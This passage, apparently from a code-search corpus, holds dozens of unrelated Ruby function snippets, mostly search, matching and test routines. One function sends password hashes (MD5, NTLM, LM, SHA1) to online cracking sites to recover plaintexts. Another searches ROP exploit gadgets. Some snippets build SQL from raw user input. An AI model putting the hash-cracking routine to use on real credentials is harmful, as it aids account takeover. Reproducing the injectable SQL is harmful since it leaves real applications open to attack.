:expected=>false},\n {:symbol=>Qualifier::LESS, :left=>1, :right=>2, :expected=>true},\n {:symbol=>Qualifier::LESS, :left=>1, :right=>1, :expected=>false},\n {:symbol=>Qualifier::LESS_OR_EQUAL, :left=>1, :right=>2, :expected=>true},\n {:symbol=>Qualifier::LESS_OR_EQUAL, :left=>1, :right=>1, :expected=>true},\n {:symbol=>Qualifier::LESS_OR_EQUAL, :left=>2, :right=>1, :expected=>false},\n {:symbol=>Qualifier::LIKE, :left=>'yes', :right=>'yes', :expected=>true},\n {:symbol=>Qualifier::LIKE, :left=>'yes', :right=>'y*', :expected=>true},\n {:symbol=>Qualifier::LIKE, :left=>'yes', :right=>'y?s', :expected=>true},\n {:symbol=>Qualifier::LIKE, :left=>'yes', :right=>'YES', :expected=>false},\n {:symbol=>Qualifier::CI_LIKE, :left=>'yes', :right=>'yes', :expected=>true},\n {:symbol=>Qualifier::CI_LIKE, :left=>'yes', :right=>'YES', :expected=>true},\n {:symbol=>Qualifier::CI_LIKE, :left=>'yes', :right=>'y*', :expected=>true},\n {:symbol=>Qualifier::CI_LIKE, :left=>'yes', :right=>'Y*', :expected=>true},\n {:symbol=>Qualifier::CI_LIKE, :left=>'yes', :right=>'y?s', :expected=>true},\n {:symbol=>Qualifier::CI_LIKE, :left=>'yes', :right=>'Y?s', :expected=>true},\n {:symbol=>Qualifier::CI_LIKE, :left=>'yes', :right=>'no', :expected=>false},\n ]\n\n tests.each do |test|\n assert_equal(test[:expected], \\\n Qualifier.compare(test[:left], test[:right], test[:symbol]))\n end\n end", "def bubble_up_exact_matches(affil_list:, term:)\n matches_at_beginning = []\n matches_within = []\n other_items = []\n match_term = term.downcase\n affil_list.each do |affil_item|\n name = affil_item[:name].downcase\n if name.start_with?(match_term)\n matches_at_beginning << affil_item\n elsif name.include?(match_term)\n matches_within << affil_item\n else\n other_items << affil_item\n end\n end\n matches_at_beginning + matches_within + other_items\n end", "def fetch_ror_matches(name:)\n return [] unless name.present?\n\n OrgSelection::SearchService.search_externally(search_term: name).select do |hash|\n # If the natural language processing score is <= 25 OR the\n # weight is less than 1 (starts with or includes the search term)\n hash.fetch(:score, 0) <= 25 && hash.fetch(:weight, 1) < 2\n end\n end", "def text_search_multiple(search_text, limit, offset)\n query_strategy.text_search(search_text, limit, offset)\n end", "def areSimilar(a, b)\n count = 0\n \n for i in 0..(a.count-1)\n if a[i] != b[i]\n count += 1\n end\n end\n \n if count < 3\n if a.sort == b.sort\n return true\n end\n end\n \n false\nend", "def get_search\n puts \"Search Title or Author. Enter 4 or more letters.\".blue\n puts \">\".blue.bold\n @@found_title_match = []; @@found_author_match = [];\n all_title_array = []; all_author_array=[]\n\n r = gets[0..20].chomp\n if r.length < 4\n puts \"Search string must contain at least four characters\".blue\n get_search\n else\n puts \"Searching... #{r}\".red\n @@book_class.each do | book |\n regx_result = /#{r}/i =~ book.title.chomp\n if regx_result != nil\n @@found_title_match << book\n end\n end\n\n @@book_class.each do | book |\n regx_result_author = /#{r}/i =~ book.author.chomp\n if regx_result_author != nil\n @@found_author_match << book\n end\n end\n end\n # puts \"group by value\".cyan\n # ref http://ruby-doc.org/core-2.2.1/Enumerable.html#method-i-group_by\n all_title_array= @@found_title_match.group_by{|book| book.title}\n all_author_array = @@found_author_match.group_by{|book| book.author}\n\n # puts \"first\".cyan\n # ref: http://ruby-doc.org/core-2.2.0/Array.html#method-i-first\n all_title_array.merge!(all_author_array)\n all_title_array.each{|k,v|p v.first.to_s.chomp}\n # all_author_array.each{|k,v|p v.first.to_s.chomp} :keep\n end", "def results\n query = parse\n\n results = []\n positive = query[:positive].to_a\n results << Language.where(name: positive)\n results << Language.where(type: positive)\n results << Language.where(designers: positive)\n\n weights = weight_results results\n\n positive = results.flatten.uniq(&:name).index_by &:name\n\n results = []\n negative = query[:negative].to_a\n\n results << Language.where_not(name: negative).map(&:name)\n results << Language.where_not(type: negative).map(&:name)\n results << Language.where_not(designers: negative).map(&:name)\n\n negative = results.inject(results[0]) {|result, array| result & array }.uniq\n\n final_results = positive.slice(*negative).values\n sort_results set_hits(final_results, weights), weights\n end", "def search_by_gadget(search)\n conds = []\n limit = 10\n search.each do |k, v|\n case k\n when :any\n v.each do |ary|\n conds << \"((%s) AND ret_distance > %d)\" % [cond_any(ary).join(' OR '), ary.size]\n end\n when :address\n conds += cond_by_addr(v) unless v.size == 0\n when :dst\n conds << cond_by_dst(v) unless v.size == 0\n when :src\n conds << cond_by_src(v) unless v.size == 0\n when :limit\n limit = v\n end\n end\n return if conds.size == 0\n found = []\n search(conds).each do |row|\n addr = row['address']\n ret_addr = row['ret_addr']\n g = gadget_build(addr, ret_addr)\n\n next unless g\n next if found.include?(g)\n\n if yield(g)\n found << g\n limit -= 1\n end\n\n break if limit == 0\n end\n end", "def new_result_sets_for(searches)\n new_result_sets = Hash.new\n searches.each do |s|\n new_result_sets[s] = s.new_results if s.new_results.count > 0 \n end\n return new_result_sets\n end", "def match_args(results, queries)\n queries.map do |query|\n (results.any? { |r| r.to_s.match(query) } ? 1 : nil)\n end.compact\n end", "def search \n\n end", "def great_matches\n filtered_matches(partial_or_perfect: [:family_name, :first_name], perfect: [:street, :city])\n end", "def compare\n if self.terms.all? { |t| t.results[:count] }\n @winner, @loser = self.count_winner_loser\n elsif self.terms.all? { |t| t.results[:seconds] }\n @winner, @loser = terms.sort_by { |t| t.results[:seconds] }\n else\n @winner = terms.select { |t| t.results[:seconds]}[0]\n @loser = terms.select { |t| t.results[:count]}[0]\n end\n end", "def recipeingredientsearch\n @query = params[:search]\n @searchedingredients = params[:searchingredients].split(/, */)\n @searchtest = []\n @searchedingredients.each do |si|\n @searchtest.push(si.downcase)\n end\n \n Ingredient.where(\"lower(name) IN (:searching)\", \n {searching: @searchtest}).find_each do |ingredigrab|\n @searchingreed.push(ingredigrab)\n end\n RecipeIngredient.where(ingredient_id: @searchingreed).find_each do |ids|\n @recing.push(ids)\n end\n \n if params[:exclusive] == \"1\"\n Recipe.where(\"name like :name\", {name: \"%#{@query}%\"}).find_each do |r|\n insert = false\n if @recing != nil\n RecipeIngredient.where(\"recipe_id = ?\", r.id).find_each do |i|\n if @recing.include?(i) == true\n insert = true\n end\n end\n if insert == true\n @recipes.push(r)\n end\n end\n end\n else\n Recipe.where(\"name like :name\", {name: \"%#{@query}%\"}).find_each do |r|\n insert = true\n if (r.recipe_ingredients.all.empty? == true)\n @recipes.push(r)\n else\n if @recing != nil\n RecipeIngredient.where(\"recipe_id = ?\", r.id).find_each do |i|\n if @recing.include?(i) == true\n else\n insert = false\n end\n end\n if insert == true\n @recipes.push(r)\n end\n end\n end\n end\n end\n return @recipes\n end", "def compare_reviews_with_google_search(auto_metareview)\n review_text_arr = auto_metareview.review_array\n\n flag = false\n temp_array = Array.new\n\n review_text_arr.each{\n |rev_text|\n if(!rev_text.nil?)\n #placing the search text within quotes to search exact match for the complete text\n response = RubyWebSearch::Google.search(:query => \"\\\"\"+ rev_text +\"\\\"\")\n #if the results are greater than 0, then the text has been copied\n if(response.results.length > 0)\n flag = true\n else\n temp_array << rev_text #copying the non-plagiarised text for evaluation\n end\n end\n }\n #setting temp_array as the @review_array\n auto_metareview.review_array = temp_array\n\n flag\n\n end", "def search_from_fresh_datasets\n success = true\n threads = []\n \n @datasets.each do |ds|\n if ds.use_in_search?\n threads << Thread.new(ds) do |dataset|\n begin\n search_terms = @index.grouped_terms[ dataset.joined_index_field ]\n mart_results = dataset.search( search_terms )\n dataset.add_to_results_stash( @index.primary_field, @search_data, mart_results )\n rescue Biomart::BiomartError => error\n @errors.push({\n :highlight => \"The '#{dataset.display_name}' dataset has returned an error for this query. Please try submitting your search again if you would like data from this source.\",\n :full_text => error\n })\n success = false\n rescue Timeout::Error => error\n @errors.push({\n :highlight => \"The '#{dataset.display_name}' dataset did not respond quickly enough for this query. Please try submitting your search again in about 15 minutes for a more complete search return.\",\n :full_text => error\n })\n success = false\n end\n end\n end\n end\n \n threads.each { |thread| thread.join }\n \n @datasets.each do |ds|\n ds.secondary_sort unless ds.custom_secondary_sort.nil?\n end\n \n return success\n end", "def matchingStrings(strings, queries)\n counting_hash = {}\n counting_hash.default = 0\n\n # For Cache\n strings.each do |s|\n counting_hash[s] ? counting_hash[s] += 1 : counting_hash[s] = 1\n end\n\n res = []\n queries.each do |q|\n res << counting_hash[q]\n end\n res\nend", "def binary_search(opts={})\n # I have a lot of stuff to do for scouts\n # but instead i'm doing this\n # hizzah!\n count = 0\n \n until opts[:find].empty?\n new_search = []\n count += 1\n \n zipped = opts[:find].zip opts[:repo].between(opts[:find])\n zipped.each do |(n, list)|\n list << n[1]\n p = n[0]\n f = 1 # ??? why are these vars so NAMELESS\n \n list.each do |item|\n UI::debug \"narrowing #{f}:#{list.size} #{short item}\"\n \n if opts[:node_map].include? item\n if f <= 2\n opts[:on_find].call(p, item)\n else\n UI::debug \"narrowed branch search to #{short p}:#{short item}\"\n new_search << [p, item]\n end\n break\n end\n \n p, f = item, f*2\n end\n end\n \n opts[:find] = new_search\n end\n \n [opts[:find], count]\n end", "def total_hash_search(hash_to_find=@hash_to_find, stop_on_success=@sos, verbose=true)\n matches={}\n while(true)\n case @hash_type\n when 'MD4'\n result = leakdb_hash_search(hash_to_find, verbose)\n if not result.nil?\n matches.store('api.leakdb.abusix.com', result)\n break if stop_on_success\n end\n when 'MD5'\n result = leakdb_hash_search(hash_to_find, verbose)\n if not result.nil?\n matches.store('api.leakdb.abusix.com', result)\n break if stop_on_success\n end\n\n result = darkbyte_hash_search(hash_to_find, verbose)\n if not result.nil?\n matches.store('md5.darkbyte.ru', result)\n break if stop_on_success\n end\n\n result = gromweb_hash_search(hash_to_find, verbose)\n if not result.nil?\n matches.store('md5.gromweb.com', result)\n break if stop_on_success\n end\n\n result = md5comcn_hash_search(hash_to_find, verbose)\n if not result.nil?\n matches.store('md5.com.cn', result)\n break if stop_on_success\n end\n\n result = md5onlinenet_hash_search(hash_to_find, verbose)\n if not result.nil?\n matches.store('md5online.net', result)\n break if stop_on_success\n end\n\n result = md5onlineorg_hash_search(hash_to_find, verbose)\n if not result.nil?\n matches.store('md5online.org', result)\n break if stop_on_success\n end\n\n result = myaddr_hash_search(hash_to_find, verbose)\n if not result.nil?\n matches.store('md5.my-addr.com', result)\n break if stop_on_success\n end\n\n result = noisette_hash_search(hash_to_find, verbose)\n if not result.nil?\n matches.store('md5.noisette.ch', result)\n break if stop_on_success\n end\n\n result = netmd5crack_hash_search(hash_to_find, verbose)\n if not result.nil?\n matches.store('netmd5crack.com', result)\n break if stop_on_success\n end\n\n result = sans_hash_search(hash_to_find, verbose)\n if not result.nil?\n matches.store('isc.sans.edu', result)\n break if stop_on_success\n end\n\n result = stringfunction_hash_search(hash_to_find, verbose)\n if not result.nil?\n matches.store('stringfunction.com', result)\n break if stop_on_success\n end\n when 'LM'\n result = it64_hash_search(hash_to_find, verbose)\n if not result.nil?\n matches.store('rainbowtables.it64.com', result)\n break if stop_on_success\n end\n\n result = leakdb_hash_search(hash_to_find, verbose)\n if not result.nil?\n matches.store('api.leakdb.abusix.com', result)\n break if stop_on_success\n end\n when 'NTLM'\n result = leakdb_hash_search(hash_to_find, verbose)\n if not result.nil?\n matches.store('api.leakdb.abusix.com', result)\n break if stop_on_success\n end\n when 'LM:NTLM'\n result = leakdb_hash_search(hash_to_find, verbose)\n if not result.nil?\n matches.store('api.leakdb.abusix.com', result)\n break if stop_on_success\n end\n when 'MYSQL'\n result = leakdb_hash_search(hash_to_find, verbose)\n if not result.nil?\n matches.store('api.leakdb.abusix.com', result)\n break if stop_on_success\n end\n when 'SHA1'\n result = leakdb_hash_search(hash_to_find, verbose)\n if not result.nil?\n matches.store('api.leakdb.abusix.com', result)\n break if stop_on_success\n end\n\n result = sans_hash_search(hash_to_find, verbose)\n if not result.nil?\n matches.store('isc.sans.edu', result)\n break if stop_on_success\n end\n\n result = stringfunction_hash_search(hash_to_find, verbose)\n if not result.nil?\n matches.store('stringfunction.com', result)\n break if stop_on_success\n end\n end\n break # tried all sites by now...\n end\n return matches\n end", "def condicion_search(pparams, phash, pmodel)\n cp = 0\n pv = 0\n cad = ' '\n\n pparams.each do |k,v|\n if (k != 'utf8' and k != 'action' and k != 'controller' and k != 'srchmodel' and k != 'page') \n\t\n\t if v.rstrip != ''\n\t\t\n\t \tif pv > 0\n\t\t\tcad += \" AND \"\n\t\tend\n\t\t\n\t\tif k.to_s == \"searchfield\"\n\t\t \n \t\t if es_entero(v)\n\t\t \tif pmodel.hsearch_fields[0]==\"codigo\" or pmodel.hsearch_fields[0]==\"cliente_cod\"\n\t\t\t cad += pmodel.hsearch_fields[0]+\" = '#{v}' \"\n\t\t\telse\n\t\t\t cad += pmodel.hsearch_fields[0]+\" = #{v} \"\n\t\t\tend\n\t\t else\n\t\t sr = v.to_s\n\t\t\tif pmodel.hsearch_fields[0]==\"codigo\"\n\t\t\t cad += pmodel.hsearch_fields[1]+\" LIKE '%#{sr.capitalize}%'\"\t\n\t\t\telse \n\t\t\t cad += pmodel.hsearch_fields[1]+\"||to_char(\"+pmodel.hsearch_fields[0]+\",'99999') LIKE '%#{sr.capitalize}%'\"\t\n\t\t\tend\t \n\t\t end\n\t\n\t\telse #si no es searchfield\n\t \t\n \t\t tipo = phash[k].type\n\t\t case tipo\n\t\t when :string, :text\n\t\t sr = v.to_s\n\t\t\t if k.to_s == \"codigo\" or k.to_s == \"cliente_cod\" \n\t\t\t\t cad += \"upper(\"+k + \") = '#{sr.upcase}'\"\n\t\t\t else\n\t\t\t\t cad += \"upper(\"+k + \") like '%#{sr.upcase}%'\" \n\t\t\t end\t\t\n\t\t when :date, :datetime, :timestamp\n\t\t\t cad += k + \" = '#{v}'\"\n\t\t else\n\t\t\t cad += k + \" = #{v} \"\n\t end\n\t\tend #del searchfield\n\t\tpv += 1\n\t end \n\t cp += 1\n end\n end #del each\n \n if cp == 0\n \" 1 = 0\"\n else\n if pv == 0\n\t \" 1 = 1 \"\n else\n\t cad\n end \n end \nend", "def fees_student_structure_search_logic # student search fees structure\n query = params[:query]\n unless query.length < 3\n @students_result = Student.find(:all,\n :conditions => [\"first_name LIKE ? OR middle_name LIKE ? OR last_name LIKE ?\n OR admission_no = ? OR (concat(first_name, \\\" \\\", last_name) LIKE ? ) \",\n \"#{query}%\", \"#{query}%\", \"#{query}%\", \"#{query}\", \"#{query}\"],\n :order => \"batch_id asc,first_name asc\") unless query == ''\n else\n @students_result = Student.find(:all,\n :conditions => [\"admission_no = ? \", query],\n :order => \"batch_id asc,first_name asc\") unless query == ''\n end\n render :layout => false\n end", "def test_searches\n\n Page.indexers[1].rebuild!\n # make sure that terms are hooked in\n assert SearchTerm.count > 0\n \n assert_equal 288, SearchTerm.count\n \n assert_kind_of SearchTerm, SearchTerm.find_by_term('brazil')\n assert_kind_of SearchTerm, SearchTerm.find_by_term('casablanca')\n assert_kind_of SearchTerm, SearchTerm.find_by_term('japanese')\n assert_kind_of SearchTerm, SearchTerm.find_by_term('commonterm')\n \n assert_kind_of ActiveSearch::TermIndexer, @page_term_indexer\n \n assert_equal Set.new( [Page.find(1)] ), Set.new(@page_term_indexer.query(\"brazil\"))\n \"The first page should be found\"\n \n assert_equal Set.new( [Page.find(1)] ), Set.new(@page_term_indexer.query(\"ministry\")),\n \"The first page should be found\"\n \n assert_equal Set.new( Page.find(:all) ), Set.new(@page_term_indexer.query('commonterm')),\n \"All pages should be found\" \n \n assert_equal Set.new( [Page.find(1)] ), Set.new(@page_term_indexer.query(\"brazil ministry\")),\n \"Should search on intersection\" \n\n assert_equal Set.new( [Page.find(1)] ), Set.new(@page_term_indexer.query(\"ministry commonterm\")),\n \"The first page should be found - the search is exclusive\"\n\n assert_equal Set.new( [Page.find(2)] ), Set.new(@page_term_indexer.query(\"japanese\")),\n \"Related paras should be included in the search\"\n\n assert_equal Set.new( [Page.find(1)] ), Set.new(@page_term_indexer.query(\"TARKHANOV\")),\n \"Related authors should be included in the search\" \n end", "def compare_tests(test_a, test_b); end", "def compare_tests(test_a, test_b); end", "def search_filter # rubocop:disable Metrics/AbcSize,Metrics/CyclomaticComplexity,Metrics/PerceivedComplexity,Metrics/MethodLength\n @array.select do |item|\n parts = doi_parts(item.hit[:json]) || code_parts(item.hit[:code])\n (refparts[:code] && [parts[:series], item.hit[:series]].include?(refparts[:series]) &&\n refparts[:code].casecmp(parts[:code].upcase).zero? &&\n (refparts[:prt] == parts[:prt]) &&\n (refparts[:vol].nil? || refparts[:vol] == parts[:vol]) &&\n (refparts[:ver].nil? || refparts[:ver] == parts[:ver]) &&\n (refparts[:rev].nil? || refparts[:rev] == parts[:rev]) &&\n refparts[:draft] == parts[:draft] && refparts[:add] == parts[:add])\n end\n end", "def find_matches(*arrays)\n hash = Hash.new(0)\n arrays.flatten.each do |num|\n hash[num] += 1\n end\n hash.keys.find_all do |num|\n\t\thash[num] == 3\n\tend\nend", "def two_movie_search\n if params[:movie_one] && params[:movie_two]\n @search_results = MovieDataService.get_common_actors_between_movies(params[:movie_one], params[:movie_two])\n end\n end", "def search_wishlist(item) \n \n # Go through the wish lists in the data base and search for matching criteria\n \n if(item.description != nil)\n @description_match = WishList.where('description ILIKE ? ', \"%#{item.description}%\")\n @wish_list = @wish_list | @description_match\n end\n \n if(item.condition)\n @condition_match = Array.new\n if(item.condition == '%' || item.condition == 'Rough') \n @condition_match = WishList.where('condition LIKE ?','Rough')\n elsif(item.condition == 'Fair')\n @condition_match = WishList.where('condition LIKE ? OR condition LIKE ?','Rough','Fair')\n elsif(item.condition == 'Good')\n @condition_match = WishList.where('condition LIKE ? OR condition LIKE ? OR condition LIKE ?','Rough','Fair', 'Good')\n elsif(item.condition == 'Excellent')\n @condition_match = WishList.where('condition LIKE ? OR condition LIKE ? OR condition LIKE ? OR condition LIKE ?','Rough','Fair', 'Good', 'Excellent')\n elsif(item.condition == 'Like New')\n @condition_match = WishList.where('condition LIKE ? OR condition LIKE ? OR condition LIKE ? OR condition LIKE ? OR condition LIKE ?','Rough','Fair', 'Good', 'Excellent', 'Like New')\n end\n @wish_list = @wish_list & @condition_match\n end \n \n if(item.price != nil)\n @price_match = WishList.where('price IS NOT NULL AND price >= ?', item.price)\n @wish_list = @wish_list & @price_match \n end\n \n if(item.weight != nil)\n @weight_match = WishList.where('weight IS NOT NULL AND weight >= ?', item.weight)\n @wish_list = @wish_list & @weight_match \n end\n \n if(item.location != nil)\n @location = WishList.where('location ILIKE ?',item.location.address )\n @wish_list = @wish_list & @location \n end\n \n if(item.length != nil)\n @length = WishList.where('length >= ?',item.length )\n @wish_list = @wish_list & @length \n end\n \n if(item.width != nil)\n @width = WishList.where('width >= ?',item.width )\n @wish_list = @wish_list & @width \n end\n \n if(item.height != nil)\n @height = WishList.where('height >= ?',item.height )\n @wish_list = @wish_list & @height \n end\n \n @wish_list = WishList.where('user_id != ? AND name ILIKE ? AND category LIKE ? AND quantity <= ? AND available_until >= ?', item.user_id, \"%#{item.name}%\",item.category, item.quantity, item.available_from)\n \n return @wish_list\n\tend", "def scanSameNameWithDifferentSimilarTrackCount()\n problemCount = 0;\n SimilarTracksVersionControl.find(:all, :conditions => [\"version = ? and status = ? and similar_track_count > ?\" , 1, 1, 0]).each do |strack|\n puts \"track_id:\" + strack.track_id.to_s();\n \n\n scs = SimilarTracksVersionControl.find(:all, :order => \"similar_track_count desc\", :limit => 1, :conditions => [\"track_name = ? and track_artist_id = ? and track_id != ? and status = ? and similar_track_count > ?\", strack.track_name, strack.track_artist_id, strack.track_id, 1, 0]);\n status = 0;\n if (scs != nil and !scs.empty?)\n sc = scs.first;\n puts \"matched track_id:\" + sc.track_id.to_s();\n if (strack.similar_track_count < sc.similar_track_count)\n strack.same_name_with_different_similar_track_count_fix = sc.track_id;\n strack.status = 200;\n strack.save();\n puts \"need fix:\" + strack.similar_track_count.to_s + \" < \" + sc.similar_track_count.to_s;\n problemCount = problemCount + 1;\n end\n\n end\n \n \n end #end of loop\n puts \"total needs fix:\" + problemCount.to_s();\n \n end", "def custom_search(params_list)\n search_terms = params_list\n #print \"\\n\\n\\n***#{search_terms.size}***\\n\\n\\n\" ==> gives # of letters in the :query\n search_terms_array = search_terms.split(' ')\n \n ids = Array.new\n \n for word in search_terms_array\n word = word.singularize()\n isaColorWord = Color.find(:all, :conditions => [\"name = ?\", word])\n if isaColorWord.size > 0 #The size should only ever be 1\n ids.concat(Listing.connection.select_all(\"select distinct listings.id from listings\n inner join colors_listings on listings.id = colors_listings.listing_id\n where colors_listings.color_id = \\'\" + isaColorWord[0].id.to_s + \"\\'\").map{|i| i['id'].to_i})\n \n else\n p_word = '%' + word + '%'\n temp_ids = Listing.connection.select_all('select distinct listings.id \n from listings, fabrics, themes, patterns where \n listings.fabric_type = fabrics.id and \n listings.theme = themes.id and \n listings.pattern = patterns.id and \n concat(fabrics.fabric_type, \\'////\\', themes.name, \n \\'////\\', patterns.pattern_type, \\'////\\', listings.description) \n like \\'' + p_word + '\\'').map{|i| i['id'].to_i}\n if temp_ids.size > 0 \n ids.concat(temp_ids)\n else\n ids.concat(Listing.find(:all, :conditions => Listing.conditions_by_like(word)))\n end\n end\n \n end #for\n \n ids\n Listing.find(ids)\n #print \"\\n\\n\\n***293 #{ids.size}***\\n\\n\\n\"\n \n end", "def test_search_order\n # Test a search.\n assert_same_elements Order.search(\"Santa\"), orders(:santa_next_christmas_order, :an_order_on_cart, :an_order_to_charge, :an_order_on_hold_payment_failed, :an_order_on_hold_awaiting_payment, :an_order_ordered_paid_shipped, :an_order_sent_to_fulfillment, :an_order_cancelled, :an_order_returned)\n # Test with changed case. (it should be case insensitive)\n assert_same_elements Order.search(\"santa\"), orders(:santa_next_christmas_order, :an_order_on_cart, :an_order_to_charge, :an_order_on_hold_payment_failed, :an_order_on_hold_awaiting_payment, :an_order_ordered_paid_shipped, :an_order_sent_to_fulfillment, :an_order_cancelled, :an_order_returned)\n # Test a select count.\n assert_equal Order.search(\"santa\", true), 9\n end", "def find_and_choose(find_from=[], choose_from=[], value=nil, default=nil)\n find_from.each_index do |i|\n puts \"\\n\\nchecking #{value} == #{find_from[i]}\\n\"\n return choose_from[i] if find_from[i] == value || find_from[i].eql?(value)\n puts \"\\n\\n\\n#{value} wasn't #{find_from[i]}\\n\\n\\n\"\n end\n return default\nend", "def find_and_choose(find_from=[], choose_from=[], value=nil, default=nil)\n find_from.each_index do |i|\n puts \"\\n\\nchecking #{value} == #{find_from[i]}\\n\"\n return choose_from[i] if find_from[i] == value || find_from[i].eql?(value)\n puts \"\\n\\n\\n#{value} wasn't #{find_from[i]}\\n\\n\\n\"\n end\n return default\nend", "def find(search_string)\n result_array = []\n search_words = search_string.split(/\\s+/)\n\n # Loop over all entries in the index.\n @data.each{ |entry|\n begin\n # Check whether this entry matches the search words.\n score = 0\n search_words.each{ |search_word|\n next if search_word.empty?\n\n s = 2 * AE::LaunchUp::Scorer.score(search_word, entry[:name]) if entry[:name].is_a?(String)\n s += 2 * AE::LaunchUp::Scorer.score(search_word, entry[:description]) if entry[:description].is_a?(String)\n s += 2 * AE::LaunchUp::Scorer.score(search_word, entry[:category]) if entry[:category].is_a?(String)\n s += exact_matches(search_word, entry[:keywords].join(\" \"))/(entry[:keywords].length|1).to_f if entry[:keywords].is_a?(Array) && !entry[:keywords].empty?\n s += 2 * AE::LaunchUp::Scorer.score(search_word, entry[:keywords].join(\" \")) if entry[:keywords].is_a?(Array)\n s += exact_matches( search_word.gsub(/\\/|\\\\/, \"\"), entry[:file].gsub(/\\/|\\\\/, \"\") ) if entry[:file].is_a?(String) && search_word.length > 4\n\n # Skip if no match has been found.\n break score = 0.0 if s == 0.0\n score += s\n }\n\n # Tweaks for relevance:\n # Entries with icons match better with users's expectation,\n # urls or \"about\" rather not.\n score *= 3 if entry[:icon].is_a?(String)\n #score *= 0.5 if entry[:name][/about|paypal/i] || entry[:description][/http/]\n\n # Check wether the command is available in the current context. We don't\n # want to reject it completely from the search results, so that the user\n # won't miss it in an explicit search will. We give a hint if it's disabled.\n if entry[:validation_proc]\n status = nil\n begin\n status = entry[:validation_proc].call == MF_ENABLED\n rescue LocalJumpError => e\n # Validation proc contains a \"return\"?\n $stderr.write(\"Validation proc of '#{entry[:name]}' (#{entry[:id]}) contains 'return'\\n#{e.message.to_s}\\n#{e.backtrace.join(\"\\n\")}\" << $/)\n rescue Exception => e\n # Validation proc contains other bug.\n $stderr.write(\"Error in validation proc of '#{entry[:name]}' (#{entry[:id]})\\n#{e.message.to_s}\\n#{e.backtrace.join(\"\\n\")}\" << $/) if $VERBOSE\n end\n entry[:enabled] = status\n score *= 0.5 if status == false\n end\n\n # Skip if no match has been found.\n next if score < 1.0\n\n # Consider tracking data, how often this entry has been selected over others:\n # Divide track by half of average track (total_track/data.length).\n score += [entry[:track] / (@total_track|1).to_f * 0.5 * @data.length, 5].min if entry[:track]\n entry[:score] = score\n\n # Add it to results.\n result_array << entry\n rescue Exception => e\n $stderr.write(\"AE::LaunchUp::Index: Error in 'find' when searching '#{entry[:name]}' (#{entry[:id]})\\n#{e.message.to_s}\\n#{e.backtrace.join(\"\\n\")}\" << $/)\n break\n end\n }\n\n return result_array\n rescue Exception => e\n $stderr.write(\"AE::LaunchUp::Index: Error in 'find' when searching '#{search_string}'\\n#{e.message.to_s}\\n#{e.backtrace.join(\"\\n\")}\" << $/)\n return []\n end", "def find\n @fruits = params[:fruits].split(',')\n @veggies = params[:veggies].split(',')\n\n\n @herbs = [ ]\n @fruits.each do |fruit|\n @herbs += Herb.where(\"companions like ?\", \"%#{fruit}%\")\n end\n\n @veggies.each do |veggie|\n @herbs += Herb.where(\"companions like ?\", \"%#{veggie}%\")\n end\n\n\n @herbs.uniq!\n\n render json: @herbs\n\n # ***WHAT IF THERE ARE NO MATCHES?\n\n end", "def searching\n prepare_phrases.each do |phrase|\n searching_single(phrase)\n end\n end", "def search(index, *criteria)\n # results = []\n unless criteria.size == 0\n results = index[criteria.shift.to_sym].flatten\n criteria.inject(results) do |r, criterion|\n if criterion_components=composed_criterion?(criterion)\n r & composed_search(index, criterion_components[0], criterion_components[1])\n else\n (r & index[criterion.to_sym].flatten) unless index[criterion.to_sym].nil?\n end\n end\n \n # results = index[criteria.shift].flatten\n # criteria.each do |criterion|\n # results = (results & index[criterion].flatten) unless index[criterion].nil?\n # end #criteria\n # # results.flatten.uniq\n # results\n end\n end", "def prospect_search(total_turns)\n @days += 1\n rubies = rand(@curr_location.max_rubies + 1)\n fakes = rand(@curr_location.max_fake_rubies + 1)\n @total_rubies += rubies\n @total_fake_rubies += fakes\n # rubocop does not like the switch without [], this is one of my \"freebies\"\n case\n when rubies.zero? && fakes.zero?\n puts \"\\t\\tFound no rubies or fake rubies in #{@curr_location.loc}.\"\n prospect_move(total_turns)\n when rubies == 1 && fakes != 1\n puts \"\\t\\tFound #{rubies} ruby and #{fakes} fake rubies at #{@curr_location.loc}.\"\n when rubies != 1 && fakes == 1\n puts \"\\t\\tFound #{rubies} rubies and #{fakes} fake ruby at #{@curr_location.loc}.\"\n when rubies == 1 && fakes == 1\n puts \"\\t\\tFound #{rubies} ruby and #{fakes} fake ruby at #{@curr_location.loc}.\"\n else\n puts \"\\t\\tFound #{rubies} rubies and #{fakes} fake rubies at #{@curr_location.loc}.\"\n end\n end", "def third_anagram?(word1, word2)\n\n p \"Running third_anagram...\" \n\n start = Time.now\n\n var = word1.split(\"\").sort == word2.split(\"\").sort\n\n puts \"Took #{Time.now - start} seconds - Result: #{var}\"\n\n # return var\nend", "def search_implementation(args)\n\n # 'args' should be a normalized search arguments hash including the following elements:\n # :query, :per_page, :start, :page, :search_field, :sort, :oq\n bento_results = BentoSearch::Results.new\n q = URI.encode_www_form({:ignore => args[:oq]}).gsub(\"ignore=\",\"\").gsub(\"+\",\"%20\")\n uri = URI.join(\"https://bestbets.library.cornell.edu/match/\", q)\n best_bet = []\n begin\n best_bet = JSON.load(uri)\n rescue Exception => e\n best_bet = []\n result = BentoSearch::ResultItem.new\n Rails.logger.error \"Runtime Error: #{__FILE__} #{__LINE__} Error:: #{e.inspect}\"\n end\n Rails.logger.debug \"mjc12test: #{__FILE__} #{__LINE__} got back: #{best_bet}\"\n result = BentoSearch::ResultItem.new\n\n # Because all our facets are packaged in a single query, we have to treat this as a single result\n # in order to have bento_search process it correctly. We'll split up into different facets\n # once we get back to the controller!\n\n # If there is a best bet, it should look like this:\n # [{\"id\"=>1, \"name\"=>\"Oxford English Dictionary\",\n # \"url\"=>\"http://resolver.library.cornell.edu/misc/3862894\",\n # \"created_at\"=>\"2014-02-10T21:22:53.000Z\", \"updated_at\"=>\"2014-02-11T21:14:28.000Z\"}]\n result.title = best_bet[0][\"name\"] unless best_bet.empty?\n result.link = best_bet[0][\"url\"] unless best_bet.empty?\n\n bento_results << result unless best_bet.empty?\n bento_results.total_items = 1 unless best_bet.empty?\n\n return bento_results\n end", "def test_general_infos_search_6\n searchArg=Hash.new\n searchArg[\"phone\"]=\"979\"\n searchArg[\"first_name_regex\"]=\"Contains\"\n perl_search=GeneralInfo.search searchArg\n assert_not_nil perl_search\n\n searchArg=Hash.new\n searchArg[\"phone\"]=\"828\"\n perl_search1=GeneralInfo.search searchArg\n assert_not_nil perl_search1\n\n assert_equal perl_search,perl_search1\n end", "def search(*args)\n end", "def compare_for_near_match(guess_index)\n (0..3).each do |code_index|\n next unless guess[guess_index] == code[code_index]\n\n key.push(\"O\")\n code[code_index] = 0\n break\n end\n end", "def search(query); end", "def verify_selected_freelancer_details(nth_result,keyword)\n\n puts \"Retrieve Freelancer name , title ,overview and skills\"\n selected_freelancer_name = get_selected_freelancer_name_from_slider\n selected_freelancer_title = 